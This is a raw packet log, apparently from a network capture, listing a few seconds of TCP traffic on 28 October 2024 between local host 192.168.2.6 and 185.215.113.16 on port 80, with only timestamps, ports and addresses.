Oct 28, 2024 15:28:19.451934099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451945066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451955080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451972961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.451983929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451997042 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.452250957 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452267885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452291965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.452445030 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452475071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452483892 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.452486992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452524900 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.452559948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452570915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452583075 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452610970 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.452858925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452903986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452908993 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.452915907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452933073 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.452941895 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.453104973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453119040 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453128099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453139067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453146935 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.453149080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453160048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453170061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453171015 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.453181028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453196049 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.453212023 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.453660011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453677893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453691006 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453697920 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.453701973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453722954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.453807116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453818083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453838110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453845024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.453850031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.453874111 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.454221010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454257965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.454286098 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454297066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454312086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454318047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454320908 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454332113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.454333067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454348087 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.454375029 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.454612970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454623938 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454633951 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.454658985 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457027912 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457043886 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457050085 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457096100 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457129955 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457149029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457159996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457170963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457184076 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457192898 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457202911 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457202911 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457225084 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457379103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457390070 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457400084 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457421064 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457427979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457439899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457452059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457457066 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457463980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457484961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457531929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457541943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457554102 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457561016 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457566023 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457576990 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.457581043 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.457607031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.458236933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458321095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458332062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458352089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458360910 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.458370924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458381891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458393097 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458400965 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.458405018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458415985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458421946 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.458429098 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.458439112 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.458465099 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.532450914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532485008 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532495975 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532531977 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.532577038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532588005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532604933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532615900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532624006 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.532625914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532638073 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532646894 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.532648087 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.532663107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.532696009 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.605377913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605397940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605412006 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605429888 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605441093 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605452061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605463028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605473042 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.605571032 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.605583906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605595112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605604887 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605616093 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605617046 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.605626106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605631113 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605637074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605643988 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.605674028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.605870008 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605880976 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605891943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605910063 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605921984 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605932951 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605943918 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.605962038 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.605992079 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606038094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606048107 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606059074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606072903 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606076956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606089115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606096983 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606097937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606110096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606123924 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606131077 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606141090 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606149912 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606174946 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606287956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606298923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606331110 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606411934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606422901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606432915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606445074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606456995 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606467009 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606475115 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606478930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606491089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606498957 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606520891 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606549025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606559992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606587887 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606870890 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606883049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606908083 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.606966019 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606981039 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.606991053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607018948 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.607026100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607036114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607047081 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607058048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607076883 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.607095003 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.607177019 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607187986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607198954 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607208967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607234955 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.607790947 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607831955 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.607913971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607924938 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.607960939 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.608072996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608125925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608136892 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608159065 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.608315945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608354092 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.608371973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608385086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608412981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.608427048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608489990 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608500957 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608520031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.608700991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608733892 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.608798981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608809948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608845949 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.608937025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608947039 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608957052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.608978987 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609086037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609096050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609107018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609114885 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609117031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609128952 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609134912 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609138966 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609149933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609160900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609169960 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609170914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609189034 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609190941 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609208107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609209061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609220028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609230042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609240055 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609247923 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609251022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609261036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609275103 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609282017 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609294891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609297037 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609304905 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609313011 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609314919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609325886 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609338045 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609344959 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609348059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609358072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609369040 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609369040 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609388113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609406948 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609456062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609466076 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609476089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609486103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609492064 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609497070 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609513998 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609518051 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609525919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609535933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609546900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609556913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609560966 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609568119 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609577894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609586954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609589100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609601021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609612942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609623909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609633923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609635115 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609643936 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609654903 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609658003 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609666109 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609678984 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609699011 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609817028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609827042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609837055 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609848022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609853029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609858990 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609865904 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609870911 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609882116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609886885 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609894991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609915018 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.609951019 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609962940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609967947 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.609992981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.610002995 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.610013962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.610023022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.610033035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.610043049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.610054970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.610054970 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.610081911 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612337112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612390995 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612402916 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612428904 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612541914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612552881 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612562895 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612574100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612577915 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612601995 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612787962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612798929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612808943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612819910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612826109 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612831116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612842083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612853050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612857103 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.612864017 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612874031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.612884998 CET	80	49764	185.215.113.16	192.168.2.6
